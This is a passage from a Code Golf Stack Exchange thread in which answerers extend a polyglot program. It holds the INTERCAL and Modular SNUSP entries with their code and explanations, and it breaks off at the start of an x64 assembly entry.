in on the last line. `$//` is a comment marker in Japt that allows spaces later on the line, making the added program less fragile in Japt (meanwhile, `//` breaks if there are any closing parentheses later on the line, and space is a sort of closing parenthesis in Japt). A pair of spaces is a comment marker in Pip, meaning that the Pip code can be substantially simplified here. This also means that we can simplify the 05AB1E down to a trivial `"26`. Retina needs the fifth line to be a legal regex that's good at matching things (the trailing `|` is thus for Retina); it parses differently from the corresponding line in the previous entry, but in a way that's just as suitable. The Cardinal is also very slightly simpler than in previous entries, but this is just pure coincidence with how everything lines up vertically, and the change is to code that didn't do anything anyway. Assuming you redo the Hexagony (you'll probably have to), there are safe places to add code on all of the last three lines: the `3` in `#3]#` is only for Hexagony (and easily changed); the space between the `#` and `"` on the final line is ignored by the vast majority of languages; and nothing's really parsing the end of the fifth line other than Retina. (There are plenty of other places where code can be added, too, but these are probably the most convenient.) [Answer] # 35. [INTERCAL](http://esolangs.org/wiki/INTERCAL) (C-INTERCAL), 631 bytes ``` #v`16/"<"6/b.q@"(: ::Q): ␉␉␉␉ :(22)S#;n4"14" #>3N6@15o|>␉^*ttt*~++~~~% #= >␉1#v#v0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_) #[␉ #`<`| print((eval(" 1\x2f2")and(9)or(13))-(0and 4)^1<<(65)>>(62))or' (\{(\{})(\{}[()])}\{}\{}\{})'#46(8+9+9+9+9+=!)#1111|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>+<?#>+.--.]/ __DATA__=1#// #.\."12"␉* """"#// =begin␉// $'main'// #-3o4o#␉ =end #// """#"#// #0]#echo 21#/ (\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) a # +/Jn~ #8␛dggi2␛`␉|1|6$//''25 >>>#>27.say# =#print(17)#$nd^_^_.]Q222999/+23!@1#"26 ``` `␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the "input" box of the TIO link below, if you want to work on it. [Try them online!](https://tio.run/nexus/bash#jVjLcuPGFV0Lv@BNG4CHgEi8qJHsEUWONGONa5yxLY80SqpEPZpAk@wR0KDxEMnSo7JNKovss8ky/5FtviI/4pxukBIpUXYoEWg0uu@9fe6bvxryQw7SeDqI04IULC9IlPErlrnkzZTsUp5vNjesUcYTmk0JLYthmtkNsvt2SEXINE1tz9KoDLkYkGLICBejsiB9HrNcC2lBOmQ0I@/KATFIxmhULdP6aUbkFpJcxoQT9TFIniZysmDZKGO45kQwFpF8xELe56EiTtikYCLnqci1KNXkxnD0iNX9k8mwRtyLy0Y0U@KmZKRkn0s9zuhoBH6aQQ4hQ8ETlhNe1HLCaM4lONiSMxGpk47uYUsJFYsCkytOCcU5ykzRzllWQFJX0SVDljGQpJL5IKMJscYZL3AaCcQeOWA0I0cZYza4AECWh3QEOZZYglkqORTyIK4Cementv/TuxoAr3a4dFRoRrZx9PP3GiVum5jnLXzbut7S9n/8llybXTmGFCAGpYwyi9qkfUdyr9tl@E6CnjfIbjVQ1YBKTLx0VHigTLMC4j2MnKumO4oX2JKdR5pYMIJqVQRdkPeCHDfUucIyyxikeICUXuLIcSoGQBNHzUoh0RBky4cCwlREeYOwK2CWikpD6VjhezTkUFkuFUJ7gIeGEvnKshWcsG0Y0QzPOd88jUu1DjvzgsexBBhbJcX3fXJM@pTHcgveS1KV1BnLy7iQe0oRSb0nXLDIJXMxwjSSi5L0CuwoiKoJ2Hyy4ClKKCyGGlJ1VPnqv3//RzQYgM5eGKZZNDPWYxKlYZlAYKqEpTBEaa6poLESC@saknu1HQyuaMwjWkj2YjpjoYRQXMdpGUckBcNszHNGhvQKftXvs7BglYmnZQEZGyShl5V/88pucfCE9qBYxUDxxrGVkThJWfS/Ic5on9Ry78x6vW29/rLLII/t2uum5w1asDB3XU3hqfZbxnK896BDTZrMHumzMYmpGJR0gGOlAhtoGLJRMcMTuOQFEHvsFGrSmXm4mw81c/cxZ2XpM99f4CFtsfK@mb9SCUKYJgkU4MTQOaHZQOmFRDwDevH0MXcsuHrEXL@QS5YEuNCfEWEepmDVbMLCsgD4rEHGQx4OyVhJJyr1Vb7ymD2mFrnDAJ3@PWspTNB50dRc735KivEsCUcq@ikdxABJqrM0oWxicUIdUAXiQxnPYbnzqCs94yHI3x8eaHwvY0rGfimBLhyUD4RcQsV9xF4wap6LGryc5xwQydjL8ebo/U/Slf/IqkwCkKowtOiHKfIKts9iq3wxR0xj4TAljiC1mQyWrkLhZ4jl5VmoBs5C/NdtF3BZEjb1ak7oc5USH8dC0nm6TrGsNciJrp82EH7iHPoWZRzjoRTKISxmX8MwQpbnLqwbvurKRALp9Dqzb5cXFsMsHRN2a7dqq9gphRzhzB8QcskHjmiZ9hGgH3KwytUTmaK6mj6aohAQG8vWqz@8aVa54thLKDxxNF3t0foiKbXhBy4uU6l5L5mPzn032FwigVrh6c4@z4fqsrT0iVhP36jdedLrq8uKBUKa1iO81IskFWnFHAhxQb2P6ubCQ1dJsOwIS@zfMKhqwJxXG16PC6/H@s@tfPfmzXu1pt/r8ecWAQZZGM3vK5ZlZW8VSj2aD58ESrKE81GZFbETeYW8s//8OQLeT7UxpNMc@fPyfnAu2Fhqxuk/q5zZVvmgLqsV@bmMUVv9Do2QypxJ4/vBalrb5CODtSOnCVVSQdI4hjsCMgSMp@YMT4jLiM3vq4kqDJfjLRE8kfliJOvWZ3Y8ShAVQ1lWZHFKI68q9Dh70F6FM5vQQSqm3kLwcbPe/yHWPIaTh8quGJZFWV1lOfd7euIj@f0td5ut9Df33gT7s9sz6yHE1nN2WrlIhkjivIvppdeTw/M@hquPWh0m4wPUjvP7c8tYroKM00vTS6eq13MPaRUVzYiGTLnaw@NKG/oBqTlGyX7446fDg980JsUR1LK4uq4k916EyFii@H1KgCFWl//TCtUmZSghjR3f3fA9Hl4SZwFDLjerXPBRFdz3NQ@q7apPwBzPZnVh7s5bL@PhLREUpQuShxzPk3irKh3zoao4UcdH8IRPgqu0jQq3KpoapIdErCLMv/8VzQrxAStykvAcheZAyC4QldEwHb9WfKuK8@3eIXFQbioZ@kT/yvnaz/UGMfc@fnd84p/WiG5O9JmgspNQhfO9wNVhiCXHBypKz@q8RDUh6kxsrOo8NB7oOWTuktU9aoscbVthK9IWIlOC8sE5LMim7GJZgTJxc9auENlMgpNaSswJuUEfiD7YCUmw6eOpOkosy@ak/ZAQFnOw9y3rlcqa0XA1N9rqHOjodjpqlLEolbX1yVk3OvXyORpo5L7ymxOJxwtPqgLN37Xpdvybm5xOdf22Zi90x/sTZGcYnexSVJehyY5ZQpWWxVIVPObFsCrXUMOFQyqTuqzi5qWXFKkPjyIxzim7B@VCuTwokWC6ZC/O0cRGEWDqTQuJbimKqtq6L7l0gwj33o4aRNeetPlybw7Ai3nrh34ky5QMQ6SeyqqgmCjFsrFqfFDboXp0XVcbh1IFisSq/gWNMJqpqmfpFhj/ZTbuY/y3anzmSZV6TxqZ6iBP8FsIJ3zJx2YnXyEFAbN/rhBCYPzXanzS9Z2701X91CMxFlUI/rMMAteUvTtWvYUZ8WKb7P6BCcGmZMWPP9WvQg@/Aj0Ve792HaeIMqbXUvbZuoWEF13SLbr9rpBitqbeF57rta4tM25PPc8L7Y5lDttBfWO9XjfFumUKJ7DtFy@kWd@aeds8d3VXn2CRY8Z2CwZqmbRtipZJdywzajfX1Q481uv2NTbcoc28NumtZ74AUg3MZAzdf84sM7dlNeu7bnAL@T6nXJheI6Gja0sn@kT@ciDZm7xelzK45rkU4M7rHtYhOYA/9JQztWbK9wZJS7lbbRn6X381ri6CLU/f0be8nvvLrm5tk@3tn@1tQtbwIdtWs2kfGi3xUg9e6prR2fhxazfYTG86a2frRVGs39Xrd3d3X2lGm3TWAuPKuPJjP5n4wWVwiRGf@J8n/tAfBlEQBAc@@@T3Jn7PT4MIV4Y/f4Ih9/sTf@ALXwTBxE8xCCd@iEEf14F81QeRz/jjvi9pSxaJHwfq4/vW2bmtGSdrmnGxc3GjqaNaFkPzD7yC7qTZb@o2/N16ZUMrwYZtO5Yv/f@lfRbs7Fhbm3anY201bbyuEat7jf9bW15OLPvUvsWg@rdrxsst65v6q9lf@0vbkCLctL124DVftiftVyc7Zn237uzi0@7Ud2a310an7jqOe@pp5@ff7h3tnZ@3A8PzNMPtunrQ1NfWNR0fOdXusQEXaxiZNdmg1OQyZyN9mRprWlv@vIdEgTm5XG0w/FNDBaQmSEL@k3d7bxvBjmM01eDw0xtDPm0@PDbxuCEfP@x/t/9xf/9PjeDgw/7e4f5374/3Px1UY5tQOBwhde97cacZ33wRDQa8@cXF2k1ws2V6Xq3W3CTo1jpGp/m1i2BtkLZRgR98bRumiM7Oz87d05@bzearV6@8enPjy93A0Jtb/wM "Bash – TIO Nexus") ## Rundown This program prints **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3. ## Verification Most of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively, as required. I tested Incident locally on my own system, using the official interpreter. Note that I added a few changes to the test driver in order to make it easier to spot hidden characters; various NUL bytes had crept into the program's output in certain languages. I've decided that this probably isn't a problem, because a) a wide range of submissions have been doing it, and b) the Befunge interpreters seem to be adding extra NUL bytes even though nothing in the program implies that (unless I've missed something), so it must have been going on for ages and is probably part of how the interpreter works. (Note that the languages that still output NUL bytes – the Befunges and Minkolang – haven't had their code changed for this submission.) The previous Rail submission exits via crash, which is disallowed, but this is easily fixable (by adding a `#` at the end of the Rail program and adjusting the Hexagony to match) and so I didn't consider it a major problem. The Rail in this solution exits correctly. ## Explanation ### How the INTERCAL code works INTERCAL parses the entire program. However, syntax errors are a runtime thing in INTERCAL, not compile-time, and this is often used to create comments. (If a syntax error attempts to execute, it'll crash the program with error ICL000I, contrary to what Wikipedia incorrectly claims. But if you can prevent it executing somehow – and INTERCAL has a *lot* of ways to prevent commands running – it'll quite happily not execute without causing a problem.) As such, we can prevent garbage at the end of the file running simply by exiting the program explicitly first (something that's required anyway, because INTERCAL crashes if the end of the program is reached without an explicit exit command). Handling the start of the program is more interesting, and exploits a parser bug. You can write something like `DO %20 READ OUT #8` to output `VIII` with a 20% probability (and otherwise do nothing). As far as I can tell, C-INTERCAL parses the lone % on the second line as indicating a 0% probability for the first command to run, and thus ends up consistently not running it every time. (I'm not sure *why* it parses it like that, but looking at the compiled code shows it generating a random number and comparing it to 0.) Here's how the INTERCAL program looked before fitting it around the rest of the polyglot: ``` DO,1<-#2 DO,1SUB#1<-#52 DO,1SUB#2<-#32 DOREADOUT,1 PLEASEGIVEUP ``` This is fairly simple: instantiate a 2-element array; set the elements to 52 and 32 (decimal) respectively (INTERCAL's string encoding is best left unmentioned; I've forgotten how it works and had to do various experiments to figure out *why* these numbers encode `35`); read it out to standard output; and exit the program. I added an additional PLEASE at the end in order to terminate the GIVE UP statement, starting a new statement for the garbage at the end of the program, whilst keeping in acceptable bounds for polite conversation. Of course, the INTERCAL doesn't look quite like that in the finished product; I'll explain why as we go. ### Buried under a load of `S`es The most obvious issue with the INTERCAL program is that it contains the letter `S`. This is pretty much unavoidable, as there's no way to index an array without using the letter in question. However, `S` is an output command in Underload, and there's no way to prevent it parsing the entire program. The only solution is to place the INTERCAL code inside parentheses, Underload's equivalent of a string literal, so that it doesn't run immediately. However, we have two `^` characters at the end of the program, which execute Underload code; so those `S`es are going to get executed anyway if we don't do something about it. I could have changed it to another character, but decided it was easier to protect the code so that it becomes meaningless. `a` escapes a string in Underload (meaning that `^`, upon executing the string, will simply unescape it again rather than producing harmful side effects). We already have one `a` in the `say` used in the Perl 6 code (which in this arrangement of the code, is actually enough due to unrelated changes). However, so that people don't have to rely on that, I added another `a` at the end of the line (I wanted a character there anyway to make what would otherwise be trailing spaces visible, and because Hexagony needed padding as it is; note that the Hexagony was fairly easy to fix in this program, and doesn't really need separate discussion). So the Underload code is a little less fragile than it could have been. ### Prelude to a lot of work and confusion Ah, Prelude. Not normally the most difficult language, but it definitely was this time. There are two real problems: one is that adding extra parentheses on a farly long line runs the risk of disturbing the control flow of the Prelude program (as they create the equivalent of a `while` loop), and one is simply the problem of preventing them lining up vertically (which is responsible for most of the random moving around of whitespace on lines). Note that the Whitespace gave me some trouble too, but this program is equivalent to the previous one from Whitespace's point of view, so it was pretty much a case of "fix the Prelude without breaking the Whitespace". I'm not too sure how the Prelude actually works at this point. There are several fixes intended for it, like the 0 near the bottom-left corner, but they clearly don't function in the way I intended them to. (The Julia code also ended up moving to the bottom of the line because the parentheses in its `print` statement were really hard to deal with.) Perhaps we'll just have to leave it a mystery. ## Breakdown in a Fission reactor Although the changes above were for fairly subtle problems which are hard to fix, there's a much more obvious problem; `DOREADOUT` matches the regex `R...O`, and thus will cause Fission to produce unwanted output on the fourth cycle, which is not enough time to output the intended output of `12`. And INTERCAL only has one instruction that produces output (unless you count crashing as output). One fix to this is to try to add whitespace between `READ` and `OUT`, to give us time to intercept the output, but that makes Whitespace angry. So for a while, I thought this program was impossible; `R`, `L`, `U`, and `D` are all entry points in Fission, and all capable of potentially running problematic code, and INTERCAL keywords must be in uppercase. However, there is a fix, and a fairly surprising one. As part of an internationalization effort, C-INTERCAL actually accepts keywords in multiple languages, with support for both English and Latin. We couldn't avoid `S` like this, but we *can* avoid `O`; `FAC` is a perfectly good substitute for `DO`, and likewise `LEGERE EX` means the same thing as `READ OUT`. (The program thus ended up in a mix of English and Latin, but that's OK; it hardly makes it any less readable.) As such, we can happily let Fission go mad in the bottom right corner, and just not let it produce any output. We can change the *actual* Fission code to end with `*` rather than `;`, which quits the entire program rather than just one thread; this code runs fairly quickly, so it exits the program before all the stray entry points have time to do any damage. ### Knit 6, Perl 6 The next problem: The Perl 6 comments work by matching `<` and `>`. INTERCAL's assignment operator is `<-`. Luckily, that adds extra *opening* brackets, so I could just add a few closing brackets to cancel them out in an unparsed location in the program (just after the Pip code, in this case). However, I didn't want to change the whitespace budget of the program, but moving the Julia code (for Prelude) ended up adding an extra space to the last line; I had to remove one from somewhere. The double space is a comment marker in Pip, so I could hardly change those; the only remaining option is the space in `say 27`. Perl 5 golfers would immediately think "well just do `say+27` then" (unary `+` comes in handy surprisingly often!), but unfortunately this isn't valid Perl 6 syntax. What we *can* do, though, is to change `say` from function syntax to method syntax. Integer literals have a bunch of methods, including one to print them out, so `27.say` is a perfectly valid program of the same length. ### Be square? Don't be there So the next issue is that I've added an extra `.` to the program. SMBF users will know that that's clearly a problem in that language, producing stray output (NUL bytes in this case). There was *already* a `.` producing stray output last program, but that doesn't mean I shouldn't take the opportunity to fix it. The basic idea here is to create an SMBF loop to comment out the offending instructions. This means moving the square brackets around. I took them from around the SNUSP code (because they were only there for the sake of Incident anyway, and Incident doesn't care *where* in the program they are), and placed the opening bracket at the start of the INTERCAL code, and the closing bracket just before the Trigger (thus neatly hiding both `.`s). Unfortunately, square brackets are meaningful to Retina; it sees `[…<-#…` and says "that makes no sense, you can't create that range because `<` doesn't come before `#`". Fortunately, this is easily fixable with a strategically placed backslash. ### The centre-of-the-program incident This happened last answer, and it's probably going to happen repeatedly from now on; various strings happened to randomly occur three times, and shifted around the centre of the program from Incident's point of view. The most urgent token to handle was `1#`, which appears three times if you make these changes naively: `#= >␉1#` at the start of the third line, `__DATA__=1#`, and `echo 21#`. Why is this a problem? Because the `1#` on the third line overlaps the `#v` just after it, and two overlapping tokens causes neither of them to be counted. And `#v` is the token we used to comment the code before the Incident program out! I fixed this by sneaking in an extra `1#` very near the end of the program (only three characters follow it); none of the languages that parse that part of the program do anything with it. There were various other problematic tokens to deal with. A couple were single letters, `P` and `U`; I dealt with these via changing a couple of filler no-ops in the Incident code from `x` to `P` or `U` respectively, giving a fourth copy. The change to the Fission code leaves `*` as a token, but notably, this is split differently from normal, appearing twice before the Incident code and only once afterwards. Instead of removing it, therefore, I used it to partially balance the new `LE` token that appeared in the INTERCAL code. That's enough to drive the centre of the program back over an `0o` token. Of course, changes to the program are quite likely to disturb this. (My attempts to get Incident onto TIO failed due to libdivsufsort not being available there, so it looks like we might benefit from a new interpreter, especially in JavaScript so that it can run online. If you're interested, take a look at [this question](https://codegolf.stackexchange.com/q/107533/62131).) [Answer] # 31. [Modular SNUSP](http://esolangs.org/wiki/SNUSP#Modular_SNUSP), 326 bytes ## Program ``` #v`16/"<"6/b.q@"(: ::T): ␉␉␉␉ :(22)S#;n4"14" #>3N6@15o|>␉^*ttt*~++~~~% #=~nJ<R"12"; ␉ #[␉ #`<`| print((eval("1\x2f2")and (9)or(13))-(0and 4)^(1)<<(65)>>62)or'(\{(\{})(\{}[()])}\{})(\{}\{})'#46(8+9+9+9+9+=!)=#print(17)#]#echo 21#|/=1/24=x=9[<$+@+-@@@@=>+<@@@=>+<?#>+.--.]/ #8␛dggi2␛␉` |1|6$//''25 #>say␉␉ 27#T222999+/+23!@"26 ``` As usual, `␛` is a literal ESC character and `␉` is a literal tab. ## Rundown This program prints **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3. ## Verification Why no links in the rundown? Because I've been working on something to make testing much easier, a test driver that runs the program in most of the languages listed here and prints the result. This should hopefully make adding future languages to the polyglot much easier. You can get the results of this program for 28 of the 31 languages via running the following TIO link (which is a test driver written in a mix of Bash, Perl, and A Pear Tree): [Try them online!](https://tio.run/nexus/bash#jVfLetu4FV6Hr5DNGYoTkZFJWHTsxNZlnGScfklnMmnsmS5sjw2RkISYBDkAaMufL1@33XXfF@h7dNun6IukB6AkS7Y8U9kkQPAA5z/3w68N84NPRXY5ygoNmikNqeTnTEbw5hJ2KVeb8UbkOJZMFmmVcDECPWbARVlpGPKMKSehGvpQTo@JzAQaIBlNazJnWEgwWyA/y2D6a4AqcrOomSwlw7sCwVgKqmQJH/LEHg5soplQvBDKSQvHbEzKe6zmTx5DGsFmcFlJpYVbQGmxz1BfSFqWyM9pwD5i0DxnCrhuKmBUcaME3KKYSK2k5Vw9BVCxCBjOOQWKclTSnq2Y1Ig0sufCmEmGR1LDfCRpDv6F5BqlMYp4DZ8YlXAgGQuQCyqQqYSWiGOJJTIrDAdtBImsorvd5t5P75qo8HpHREvtNOTGwV8@OBSiHngnHbx6rttx9j5@D1fekZkjCjwMjVJKnwbQuwVFjo4YXpP2gIzkjYOnOqiVDEhRaoInU6kR3t0sPI@jMltgC917llhwgpoqRVugrEN2ARkVo4qOUMJCIClNElbqqUEKgSKmXNyX0C6GU3NFaux4u/d5WthTQy7w0PSM1aqcKp8aSyRFnlORhhkXDKgcVTlDnaRcskRnl/e5I8H5PebuqSFZAnDqPgJh5nPoM2zCkkrTQcbW4GLMkzFcWHQCxvScGceS1QPhcWmRu8whHM5ZGzDt/rPYich8ycB49IjQmPbhOWhQc1R/acF6weKCFdBG1b4JTprNQwhMaM8jdi48auODcRDJfqtQuwoUHwlDQsU8/NAaKat9nyvR1BhNiqOKTCBxfHPw/icTSX9ldVpAJdU@tZB@cG3Icfs0UMyLmcYclowLCAU0pxh81/r1F4RFlEzsJFwIZjeIUF2@UZt9NTvoS53f7js29B/SWZbNNTh03eM1GNJMob1FlWX4UInE5AafBVfoGAlTKkLvLiodmayA6NwWC26WCfVYFhfAboJOcxU7a5ADlPmHArPcDxzzVjGE9wsJ1Sbeick3R45bXupxITaWvdc1b3bgFxswGDZFAVlR50zUhru4z6rvRy7OCmNmks9mJ@tRezMqF/IwZvmHO4dcje1tiXSOoaaNV7yxu1U@GNrbCgJh/OiecuyLvBBFzRzVwQUln@0QYTiuQrDs9Uvs3zC0y4iF2xtkwAUZsOFjlO/evHlvaYaDAX@MCNVgStpsXEEmq8EqLQ2oGj/IirCk54NK6ixMiTYj@8/fUtT3Q2uM6aXSNDmbT04EuzCWCYePGme61TzY22pDfqkyrIp/cEZCJcpAs/lk9Vk78JmhM3LsDGwxRKRZhrGHKsPssOQ3NTTJsipls3H1oVaHy8kVBM9NcShNx/HIjnvVoGZYiRS9pqApqUs0Z3fWq/XMJnRUiEuykGkiOfg/YM0SNtzVZD2udFXfTSH@Izvx0ly/F25TyvXN12/ae9PhEXoEsfWYn9YhIil65buMnpGBmZ4Mcbpa1FoYyUcjJmfjY2RM2SQTDoriLKw7LUWwhmKvWtKE2VC7e1zpQz9iHc6w2dr/@PP@p99zJptQP1disXFQa9POCde4BEzYWHhUNGtGG3dvQVCs/5iBzXxWCTv4hBzVuKiyFKu9SNHDfhbc1r6kkHXnsQYDrGY2cv/9L@yANc8yGDGtIOeKZlg7TV@M7cW4uPjO8rVOEb59vQ/hHjQthiG434Yv15W7Bt7rz3/65XD9uAmuN3GnQNG3sBdJFwDXwoBv5p9s9ps2S3ldDIxM7MI2S0khzrFXMn24mSssNvgY2KN9jPgca3C4r2HT9PVMY6@1iSNSYuHG9ho5WVLwJnA9BZ@ViDzv3aXWxdJFvmeDyvoFNp3xRs8ix66227czydKiA9jeXnlRf/36WtFL171pBgv9/95ES4pmxhKYUwPcMd8ERvSi0kut4QXX47qHwcYmGVNJE/s1MutHDMMheh5k@EVjPiisqykjBhjl1L1G3TWFeaWHryA0smGDzch///FPMuqYZlvj/O/1/FdidEGaD5pZe9Ac6CJIrOHTXILOZPpvpHqLauB6B3b/zIRgl@CjaXMqsbmuMLplsDb7gsPJW/S9hK1Aute8yoqEZh7pWP12bhQ5PD2CJ0fimCDcS/KURKRz5XtZ75IQkgR93xv32q2N562WJ577ngjbQfDsmbHJjad63knkRu4EiUIvCzqof9@jPU90PNr1vbQXP7c78LHVCq5ww60i0ZVHb4j37EiQNVyRDD9BFfM9FZgOZj2K2jcI7kvBhUfWclpe@S64E6ADZdh7vNUyGCLvxAC4JUf7LUSOOt8n4D2zU6tyMso71v2by3r/@rVxftreIm7X3SKD6Ldd19@BnZ2DYAfgCf5gx4/jYL/RES/c9gvXafQ3Pm7ttjeL6/6TX59rrZ/ftlq3t7ffOo3erfjQ/ey2Y/zkeuI0DvE67Z5eO5at77Nzmvlu@2gSD2M3MJ7lbweoofZGEIT@ull4Efzqt4Nu19/aDPr9rRhfN/2jK/y/Cczt0A@Og5vZkxmbjRdb/qvW9vSv903Qa9T82i@DxnHD9qVxu3FNem0Sv@hNetuHXa@12wp38dfrt7rT4btGvxWFYXRMnMarp@loxOOnT07hun295RHSbMabmEj6GGyokvhl4yCO4@3t7RZpxRvf7Lrx1v8A "Bash – TIO Nexus") The link also produces the `␛`/`␉`-formatted code block seen above, and formats the code into a hexagon for you: ``` # v 1 6 / " < " 6 / b . q @ " ( : : : T ) : : ( 2 2 ) S # ; n 4 " 1 4 " # > 3 N 6 @ 1 5 o | > ^ * t t t * ~ + + ~ ~ ~ % # = ~ n J < R " 1 2 " ; # [ # < | p r i n t ( ( e v a l ( " 1 \ x 2 f 2 " ) a n d ( 9 ) o r ( 1 3 ) ) - ( 0 a n d 4 ) ^ ( 1 ) < < ( 6 5 ) > > 6 2 ) o r ' ( \ { ( \ { } ) ( \ { } [ ( ) ] ) } \ { } ) ( \ { } \ { } ) ' # 4 6 ( 8 + 9 + 9 + 9 + 9 + = ! ) = # p r i n t ( 1 7 ) # ] # e c h o 2 1 # | / = 1 / 2 4 = x = 9 [ < $ + @ + - @ @ @ @ = > + < @ @ @ = > + < ? # > + . - - . ] / # 8 . d g g i 2 . | 1 | 6 $ / / ' ' 2 5 # > s a y 2 7 # T 2 2 2 9 9 9 + / + 2 3 ! @ " 2 6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ``` Three languages are missing: V is too slow, and Reng and Modular SNUSP are not installed on TIO. Luckily, all three have online interpreters: * You can test the program in V/Vim (intended output: 2) [here](https://tio.run/nexus/v#NVBNT8JAED23f4HLsoPpDpuy7lAWWnZrzx48KDc@UhREElMUG4Kx9K9jifjezLzMe4dJ5gyHXBvFLTfqufeZcZGwJJlgwpjXgCWCCJ9gXERcR9yHtP9gMj3YVam36JZl2a2lrOv6xgdXF/f2kWviY@b5MG06t3nlf@y3RSnE@rB8F1zPjvRKHJfFiokYd3uh@4ihuL0YES6ERmuFGWCaGmriQMx@mjrhZUwFzvH0v100gMiIkYyvdG108HdPDxHmsH552zHSUCmnFUXu6OKp7chMhlkDl0p7lTtIZS8Me3Plw6i12my21PJyVunKdJQKAhowBunX8rt5CQ1hQkRxHEslqd/OOJnz@Rc) on TIO. * There's an online Reng interpreter (intended output: 19) [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/). * There's an online Modular SNUSP interpreter (intended output: 31) [here](http://www.quirkster.com/iano/snusp/snusp-js.html). (It's advertised as just a SNUSP interpreter, but Modular SNUSP is the dialect it actually implements, as seen by the `@` signs all over the page.) All three produce the intended output, so all 31 programs are properly tested. (One thing that concerns me slightly is as to whether the Whitespace program is terminating correctly; however, the whitespace here is identical to the previous submission, so they're both right or both wrong. If it turns out that the program is indeed terminating incorrectly, both programs are likely to be fixable in the same way.) ## Explanation First off, the Hexagony, which always seems to need changing. It's actually much simpler than before; I moved the Hexagony code to just after the Trigger code, meaning that it's very near the end of the program, and the Hexagony "capsule" that prints 23 and exits gets to run almost immediately. The last line generally looks like a good place to put the capsule, as it means fewer commands that might potentially disrupt the Hexagony will run. All the other changes are to do with the addition of the Modular SNUSP code. The first thing to note is that SNUSP starts executing at the first `$` character in the program, and is a 2D langauge that exits after going off the edge of the program, and thus by placing the SNUSP program at the end of the long line (inside the Thutu code, at a point where Thutu will accept almost anything), we can ensure that SNUSP doesn't see any code from other languages, and most other languages won't care about the SNUSP. One language that *did* care was Perl 6, which is parsing angle brackets; I placed a `<` immediately before the SNUSP code to keep it happy (as the brackets were naturally almost matched anyway). The other language that cares is SMBF; `.` outputs in both SMBF and SNUSP, and we don't want to create extra output. Luckily, as seen by SMBF, this program is `<.>>[…]` followed by the SNUSP code, i.e. the current tape element is 0. So enclosing the SNUSP code in square brackets "comments it out" from SMBF's point of view. As for the code itself, it uses a well-known trick for writing constants in Modular SNUSP in which you write a lot of "start procedure" commands in a row and effectively create a sort of base-Fibonacci number. The basic idea is that `+` encodes the number 1; `@` adds together the number represented by the code after it, and the number represented by the code after it minus its first character; and `=` is a no-op (thus `@=` will double the number to its right). In this system, I picked `@@@@=+@@@=+#` as a representation of the number 48. There's a problem here, though; the standard method of writing constants in SNUSP leaves the control flow behind the start of the program, and with a oneliner (which I wanted to write here for obvious reasons), there's no way to change the IP to point in any direction but right. This means we're somehow going to have to get the IP to pass the entire constant definition and continue to the right, without the program exiting (which `#` would normally do). In order to resolve this, I carefully used a definition of the number for which `+` was always preceded by `=`. This means that I can write code to set the *second* cell to 48 via `@@@@=>+<@@@=>+<#`, safe in the knowledge that none of the `>` commands will be skipped by an `@` command (and thus we keep control of the tape pointer). Additionally, we know that at the final `#`, the first tape cell will still have its initial value. Therefore, we can use the first tape cell as a marker to know whether to return from the procedure definition or whether to continue to the right (we're inside a ton of procedures when doing that, but we exit the program by falling off the edge so that it doesn't matter). The final SNUSP code, therefore, is `$+@+-@@@@=>+<@@@=>+<?#>+.--.`. The `$` marks the start of the program. `+@+-` sets the first tape element to 1 (`++-`, but once the procedure started with `@` returns, it'll start running the code from the `-` onwards, thus setting the tape element back to 0. `?#` ends the procedure only if the first tape element is nonzero; thus we eventually end up after the `#` with the second tape element set to 50 (48 from the constant definition, plus 2 from the two `>+<` encountered when going to the right afterwards). Then all we need to do is `>+.--.` to output ASCII codes 51 (`3`) and 49 (`1`), and fall off the edge of the program (`]` is a no-op in SNUSP, and `/` reflects control flow vertically so that it runs off the program's top edge); this bit works identically to brainfuck. [Answer] # 51. [Assembly (x64, Linux, AS)](https://sourceware.org/binutils/docs/as/index.html), 1086 bytes ``` #16 "(}23!@)(" 3//*v\D@;'[af2.qc]'#)"14";n4 #/*` PkPPZ (22)S"[!(>7 7*,;68*,@;'1,@␉␉␉␉ q #>␉ # >36!@␉ #`<` #<]+<[.>-]>[ #{ #z} # #=x<R+++++[D>+++++++EAL+++<-][pPLEASE,2<-#2DO,2SUB#1<-#52PLEASE,2SUB#2<-#32DOREADOUT,2DOGIVEUPDOiiipsddsdoh]>+.-- -. >][ #x%+>+=+~tt . #D>xU/-<+++L #R+.----\).>]| #[#[(}2}20l0v01k1kx0l0ix0jor0h0h1d111x0eU0bx0b0o1d0b0e0e0@O6O4/0m1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10vx0v0l111111^_) 0046(8+9+9+9+9+=!) ###| '\';echo 